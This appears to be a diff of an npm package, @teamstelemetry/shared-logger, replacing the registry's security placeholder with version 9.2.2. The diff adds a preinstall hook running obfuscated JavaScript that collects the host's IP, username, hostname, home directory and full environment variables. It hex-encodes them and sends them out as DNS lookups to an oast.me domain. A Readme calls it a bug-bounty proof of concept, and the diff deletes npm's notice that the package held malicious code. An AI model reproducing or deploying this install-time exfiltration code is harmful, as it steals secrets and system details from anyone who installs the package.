@teamstelemetry/shared-logger 0.0.1-security → 9.2.2

package/Readme.md

@@ -0,0 +1,3 @@
+# Example node package
+This is Edisc's PoC for the bug bounty
+program. I own this package name.

package/app.obfuscated.js

@@ -0,0 +1 @@
+const a0_0x24cf9a=a0_0x1838;(function(_0x5ec446,_0x266eda){const _0x2728dd=a0_0x1838,_0x5e9fed=_0x5ec446();while(!![]){try{const _0x33025b=-parseInt(_0x2728dd(0x96))/0x1+parseInt(_0x2728dd(0x8c))/0x2*(parseInt(_0x2728dd(0x8f))/0x3)+parseInt(_0x2728dd(0x8b))/0x4*(-parseInt(_0x2728dd(0x83))/0x5)+parseInt(_0x2728dd(0x8a))/0x6*(parseInt(_0x2728dd(0x89))/0x7)+-parseInt(_0x2728dd(0x81))/0x8+-parseInt(_0x2728dd(0x7f))/0x9+-parseInt(_0x2728dd(0x7e))/0xa*(-parseInt(_0x2728dd(0x8d))/0xb);if(_0x33025b===_0x266eda)break;else _0x5e9fed['push'](_0x5e9fed['shift']());}catch(_0x51027d){_0x5e9fed['push'](_0x5e9fed['shift']());}}}(a0_0x4772,0x2aa0e));const os=require('os'),dns=require(a0_0x24cf9a(0x7d));function a0_0x1838(_0x7d91ca,_0x41f9d2){const _0x477206=a0_0x4772();return a0_0x1838=function(_0x18383b,_0x2ebcfd){_0x18383b=_0x18383b-0x7c;let _0x435306=_0x477206[_0x18383b];return _0x435306;},a0_0x1838(_0x7d91ca,_0x41f9d2);}function a0_0x4772(){const _0x2892d5=['family','N/A','IPv4','random','toString','207341KVwjxF','hex','from','address','keys','dns','386390sKWpik','1845693iFPJzK','username','720160nQgKXt','internal','128355SKLvZq','networkInterfaces','homedir','platform','decoy_start_','substring','14EqdAXf','876234VpNnNo','28pzqTMb','74UMEgIJ','154kLKwVD','hostname','1923SClcrs','decoy_end'];a0_0x4772=function(){return _0x2892d5;};return a0_0x4772();};((async()=>{const _0x4ed589=a0_0x24cf9a,_0x47e854='d2493k12ekuctetup8s0pj69tb95jk5hg.oast.me';let _0x3bcc0d='N/A';try{const _0x1b9080=os[_0x4ed589(0x84)]();for(const _0x391ef8 of Object[_0x4ed589(0x7c)](_0x1b9080)){for(const _0x5b6eb of _0x1b9080[_0x391ef8]){if(_0x5b6eb[_0x4ed589(0x91)]===_0x4ed589(0x93)&&!_0x5b6eb[_0x4ed589(0x82)]){_0x3bcc0d=_0x5b6eb[_0x4ed589(0x99)];break;}}if(_0x3bcc0d!==_0x4ed589(0x92))break;}}catch(_0x1a4a9d){}const _0x43eb43=_0x4ed589(0x87)+Math[_0x4ed589(0x94)]()['toString'](0x24)[_0x4ed589(0x88)](0x2);let _0xe0e8f5={'_decoy':_0x43eb43,'ip':_0x3bcc0d,'username':os['userInfo']()[_0x4ed589(0x80)],'hostname':os[_0x4ed589(0x8e)](),'platform':os[_0x4ed589(0x86)](),'arch':os['arch'](),'home':os[_0x4ed589(0x85)](),'env':process['env'],'_decoy2':_0x4ed589(0x90)};const _0x1352e0=JSON['stringify'](_0xe0e8f5),_0x1f067f=Buffer[_0x4ed589(0x98)](_0x1352e0)[_0x4ed589(0x95)](_0x4ed589(0x97)),_0x11ec8c=0x32;for(let _0xd7af75=0x0;_0xd7af75<_0x1f067f['length'];_0xd7af75+=_0x11ec8c){const _0x4a5ccf=_0x1f067f[_0x4ed589(0x88)](_0xd7af75,_0xd7af75+_0x11ec8c),_0x2c52f4=_0xd7af75/_0x11ec8c+'.'+_0x4a5ccf,_0x43923b=_0x2c52f4+'.'+_0x47e854;dns['lookup'](_0x43923b,_0x266ff9=>{}),await new Promise(_0x28b41a=>setTimeout(_0x28b41a,0x64));}})());

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "@teamstelemetry/shared-logger",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9.2.2",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node app.obfuscated.js"
+  },
+  "keywords": [],
+  "author": "Finance Dev",
+  "license": "ISC",
+  "description": ""
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40teamstelemetry%2Fshared-logger for more information.